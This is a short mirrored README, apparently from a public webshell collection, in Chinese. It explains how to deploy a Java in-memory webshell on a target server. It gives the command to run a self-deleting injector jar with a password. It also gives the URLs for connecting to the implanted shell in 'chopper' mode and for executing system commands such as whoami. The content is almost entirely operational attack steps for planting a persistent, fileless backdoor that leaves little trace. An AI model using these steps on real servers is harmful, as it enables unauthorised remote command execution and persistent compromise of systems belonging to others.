mirror of
https://github.com/tennc/webshell
synced 2024-11-25 12:40:17 +00:00
0196c72a01
from: https://github.com/jweny/MemShellDemo/tree/master/MemShellForJava/%E5%AD%97%E8%8A%82%E7%A0%81%E5%A2%9E%E5%BC%BA%E5%9E%8B/retransform%E5%AD%97%E8%8A%82%E7%A0%81
19 lines
347 B
Markdown
19 lines
347 B
Markdown
将release中的inject.jar agent.jar复制目标服务器。
|
||
|
||
运行inject.jar:
|
||
|
||
(测试时注意备份,会删除自身和agent.jar)
|
||
|
||
```jsp
|
||
java -jar inject.jar 123
|
||
```
|
||
|
||
连接内存马:
|
||
```jsp
|
||
http://ip:port/1.jsp?pass_the_world=123&model=chopper
|
||
```
|
||
|
||
执行命令:
|
||
```jsp
|
||
http://ip:port/1.jsp?pass_the_world=123&model=exec&cmd=whoami
|
||
```
|